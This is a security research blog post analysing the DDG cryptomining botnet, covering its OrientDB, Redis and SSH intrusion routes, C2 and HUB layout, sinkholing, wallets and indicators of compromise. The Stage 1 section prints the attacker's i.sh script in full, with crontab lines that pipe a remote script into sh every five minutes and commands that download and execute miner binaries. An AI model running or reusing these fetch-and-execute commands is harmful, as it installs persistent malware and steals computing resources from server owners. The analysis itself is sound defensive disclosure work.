Import 2022-11-30 11:16

DDG: A Mining Botnet Aiming at Database Servers

JiaYu

Feb 1, 2018 • 11 min read

Starting 2017-10-25, we noticed there was a large scale ongoing scan targeting the OrientDB databases. Further analysis found that this is a long-running botnet whose main goal is to mine Monero CryptoCurrency. We name it DDG.Mining.Botnet after its core function module name DDG.

Currently we are able to confirm that the botnet has mined more than 3,395 Monroe coins, equivalent to USD 925,383 at current prices. In addition, there is another 2,428 XMRs (equivalent to USD 661,759) we have yet to fully confirm due to the mining pool's payment record issue. This makes DDG by far the second largest Monroe related botnet we have seen, just behind the MyKings Botnet we reported earlier.

DDG code appears at least late in 2016 and is continuously updated throughout 2017.

DDG uses a C2 and HUB layout to communicate with its clients. The HUB is a set of IPs and domain names that are used to provide Miner program for the compromised clients to download.

It is worth noting that we were able to successfully register and sinkhole two domain names used by its v2011 version, thus we were able to have a good understanding of the size of the entire DDG botnet based on Sinkhole data.

DDG Mining Botnet Total Incoming

DDG uses the following mine pool:

https://monero.crypto-pool.fr/

Three wallet addresses have been used, as follows:

Wallet #1 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg
Wallet #2 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1
Wallet #3 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM

Among them, Wallet#3 was the first wallet address been used, most active between the time period 2017-02~2017-03; then followed by Wallet#1, been used most of the 2017; Wallet#2 is a recent active one first seen on 2018-01-03.

The pool allows us to check the payment record of the wallets. The income of all three wallets is shown in the following table. The total income is Monroe 3,395 or 5,760. These tokens are worth USD 925,383 or 1,569,963 today. Note: There is an issue for the second wallet, where "Total Paid" is not consistent with the summary of all tractions' amount. We cannot confirm which number is more accurate, so we show both numbers here.

DDG Mining Botnet Workflow

By analyzing the sample and its behavior, we can characterize the DDG Mining Botnet attack as follows:

In the picture above, DDG Mining Botnet attack process can be divided into several stages:

Initial Scanning: The attacker (ss2480.2) exploits the known RCE vulnerability of the OrientDB database and drops the attack payload
Stage 1: Attackers modify local Crontab scheduled tasks, download and execute i.sh (hxxp: //218.248.40.228:8443/i.sh) on the primary server and keep it synchronized every 5 minutes
Stage 2: DDG traverses the built-in file hub_iplist.txt, check the connectivity of every single entry and try to download the corresponding Miner program wnTKYg from the one can be successfully connected (wnTKYg.noaes if the native CPU does not support AES-NI)
Mining Stage: The Miner program begins to use the computing resources of the compromised host to begin mining for the attacker's wallet.

The HUB used in the second phase is a very interesting design. The attacker goes over all IPs and domain names written in the HUB file to download the mining program, so as to avoid the possible blocking caused by using a single download server. We observe that DDG operators update the IP and domain names of these HUB from time to time, and most of these ips and domains are hacked boxes. See the entire HUB list at the end.

In v2011, somehow two domain names out of three on the list were left unregistered, so we went ahead and registered them, as follows.

defaultnotepad567[.]com
unains1748[.]com unregistered
5dba35bsmrd[.]com unregistered

Below we will introduce the DDG botnet C2s, HUB, and Bot respectively.

The C2s

The DDG botnet uses the following C2 to maintain control of the device:

202.181.169.98:8443/i.sh
218.248.40.228:8443/i.sh

The first C2 was only used by this botnet briefly. And the second C2 has been pretty much the only active C2 for the last two years.

The HUB and Our Sinkhole

DDG botnet uses HUB_IP: 8443\wnTKYg to provide miner program. The detailed list of the two versions of HUB we monitored is given in the IoC section at the end of this article. The country distribution is shown in the following table. Most of the victims can be seen in China.

As we mentioned before, DDG bot will go over and check connectivity of every single one of the IPs and domain names on the hub list, which means we were able to get a very accurate infected clients list by sinkhole the above two domains.

The DDG operators noticed this after about 20 days and subsequently released an updated version of DDG code that replaced all IPs and domain names, including our Sinkholed domains. But the time is long enough for us to have some good measurement of this botnet.

Use Sinkhole Data to Measure DDG Mining Botnets

From the sinkhole data, we recorded a total of 4,391 IP addresses of victims from all countries, with the most prominent victims being China (73%) and the United States (11%):

And the following diagram shows the overall trend of the victim's DNS requests for the above two domains.

To avoid abuse, the list of all victims IP is not made public.

A DNSMon Perspective

Our DNSMon is also aware of these three domain names, the traffic access patterns of these 3 domains match very well as can be seen from the first diagram:

And the second diagram show that these 3 domains have very strong correlations.

DDG Mining Botnet Attack Process Breakdown

Initial Scanning

The scanning and intrusion phase of DDG Mining Botnet is done by sample ss2480.2. The ss2408.2 scans port 2480 and then uses the OrientDB RCE Vulnerability CVE-2017-11467 to implement the intrusion.

ss2480.2 will first scan the internal network, and then scan the public network segment. The internal target IP ranges are:

10.Y.x.x/16 (Y is the value of the current intranet IP B segment)
172.16.x.x/16
192.168.x.x/16

After the internal networks scan, ss2480.2 visits hxxp://v4.ident.me to get a public IP address of the current host WAN_IP , then using WAN_IP/8 to generate public Target IP ranges. All the reserved address segments will be filtered:

Stage 1

Here is the main configuration URL of DDG, the IP 218.248.40.228 is located in India, AS9829:

hxxp://218.248.40.228:8443/i.sh

This i.sh has changed many times, but the content is more or less the same, below is an early version, with following main functions:

Synchronize local Crontab with i.sh from the C2 server
Download and execute DDG sample from the C2 server
Check and clear the old version of the local DDG process

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2011" ]; then  
    curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi  
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011


#if [ ! -f "/tmp/ss2480.2" ]; then
    #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2

ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill  
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011

The i.sh script gives attacker very flexible control to deliver any malicious software to the compromised host. And we did see this file change from time to time to serve new Trojan files or to deliver malware that incorporates new attacks. For example:

DDG Samples: the ddg.$(uname -m) series. This the long-run payload, we have seen three version, V2011, V2020 and V2021
ss22522 Samples: Only work for a short period, against the Struts2 vulnerability S2-052
ss2480 Samples: Also for a short period too, against OrientDB RCE. This is the very sample exposed DDG to us

By the way there is an issue in early version of i.sh, where a "xargs" is missing just ahead of 'kill' command, so the older process will not get killed as intended. This issue is fixed in later version.

On 2018.1.3, the attacker pushed out the newest version of i.sh (v2021.2), adding another mining process imWBR1 , which uses the second XMR wallet listed earlier:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2021" ]; then  
    curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi

if [ ! -f "/tmp/ddg.2021" ]; then  
    wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi

chmod +x /tmp/ddg.2021 && /tmp/ddg.2021


if [ ! -f "/tmp/imWBR1" ]; then  
    curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

Stage 2

At this phase, DDG tries to test all the hosts in the hub_iplist.txt, and if success DDG will visit hxxp://hub_ip:8443/wnTKYg to download and execute the corresponding program wnTKYg Miner (if the native CPU does not support AES-the NI , it will download wnTKYg.noaes).

All the ddg.xxx and ss2480.xxx were written in Golang. DDG communicate to the HUB with a third party Golang Stream Multiplexing library Smuxcompleted. The default Smux configuration is been used.

So after DDG downloads Miner from the HUB and starts to KeepAlive, it sends 2 packets to the connected HUB IP every 10s:

The Built-in Hub_iplist.txt

The original DDG sample download URL is hxxp://218.248.40.228:8443/2011/ddg.$(uname -m), as written in i.sh. There are 158 hub_ip:8443 and 3 hub_domain:8443 listed in the hub_iplist, two of which are unregistered and then registered by us.

On 2017-11-10 We found that there is a change in the contents of i.sh file, ddg sample download link has changed to hxxp://218.248.40.228:8443/2020/ddg.$(uname -m). The attacker replaced all HUP IPs and domain names including ours. The latest contents of hub_iplist.txt can be seen at the bottom of this blog ip_hublist (v2020 ~ v2021) .

DDG Mining Botnet Also Targeted Redis Database and SSH Service

The above analysis focuses on the OrientDB exploit (ss2480 series).

In fact, the DDG samples also target SSH and Redis services as well, which are another two major methods used by DDG to compromise vulnerable hosts. Some of the related functions and the password dictionary are shown in the following two figures:

The victim is also implanted with the X509 key files. Three key files built into the sample are as follows, details at the end of the article:

slave.pem
ca.pem
slave.key

Looking at historical data, we can also see the i.sh host 218.248.40.228 scanning the Redis database early on. A google search turned up some posts complaining their server was infested with ddg botnet. The following diagram shows the ports that were scanned by 218.248.40.228 between 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00. Port
6379, 7379 and 2480 represents Redis, Redis (Replicas) and OrientDB:

One more thing

Starting from 2018.1.25 at 21 o'clock (GMT+8), we saw another update of this botnet, with link hxxp://218.248.40.228:8443/2011/ddg.x86_64, and this time it deliveries a Mirai family sample.

Family : mirai
C2 : linuxuclib.com:8080
C2 : jbeupq84v7.2y.net, no IP address associated yet
MD5 : cbc4ba55c5ac0a12150f70585af396dc

IoC

C2:

202.181.169.98:8443  
218.248.40.228:8443  
linuxuclib.com:8080  
jbeupq84v7.2y.net

Samples' MD5:

b1201bf62f3ca42c87515778f70fd789    ddg.i686   --> v2011  
7705b32ac794839852844bb99d494797    ddg.x86_64 --> v2011  
1970269321e3d30d6b130af390f2ea5c    ddg.i686   --> v2020  
5751440a2b3ce1481cf1464c8ac37cbe    ddg.x86_64 --> v2020  
f52f771c5b40a60ce344d39298866203    ddg.i686   --> v2021  
3ea75a85bab6493db39b1f65940cc438    ddg.x86_64 --> v2021  
b0c6cefa1a339437c75c6b09cefeb2e8    ss2480.1  
8c31b6379c1c37cf747fa19b63dd84a1    ss2480.2  
4fc28b8727da0bcd083a7ac3f70933fa    ss22522.2  
d3b1700a413924743caab1460129396b    wnTKYg  
8eaf1f18c006e6ecacfb1adb0ef7faee    wnTKYg.noaes  
9ebf7fc39efe7c553989d54965ebb468    imWBR1

Sample Downloading URL

hxxp://218.248.40.228:8443/2011/ddg.i686  
hxxp://218.248.40.228:8443/2011/ddg.x86_64  
hxxp://218.248.40.228:8443/2020/ddg.i686  
hxxp://218.248.40.228:8443/2020/ddg.x86_64  
hxxp://218.248.40.228:8443/2021/ddg.i686  
hxxp://218.248.40.228:8443/2021/ddg.x86_64  
hxxp://218.248.40.228:8443/i.sh  
hxxp://218.248.40.228:8443/ss22522.2  
hxxp://218.248.40.228:8443/ss2480.1  
hxxp://218.248.40.228:8443/ss2480.2  
hxxp://218.248.40.228:8443/wnTKYg  
hxxp://202.181.169.98:8443/2011/ddg.i686  
hxxp://202.181.169.98:8443/2011/ddg.x86_64  
hxxp://202.181.169.98:8443/i.sh  
hxxp://202.181.169.98:8443/ss22522.2  
hxxp://202.181.169.98:8443/ss2480.1  
hxxp://202.181.169.98:8443/ss2480.2  
hxxp://202.181.169.98:8443/wnTKYg  
hxxp://218.248.40.228:8443/imWBR1

ip_hublist(v2011): ip_hublist__2011.txt

ip_hublist(v2020~v2021): ip_hublist__2020.txt

Three Key files

slave.pem

ca.pem

slave.key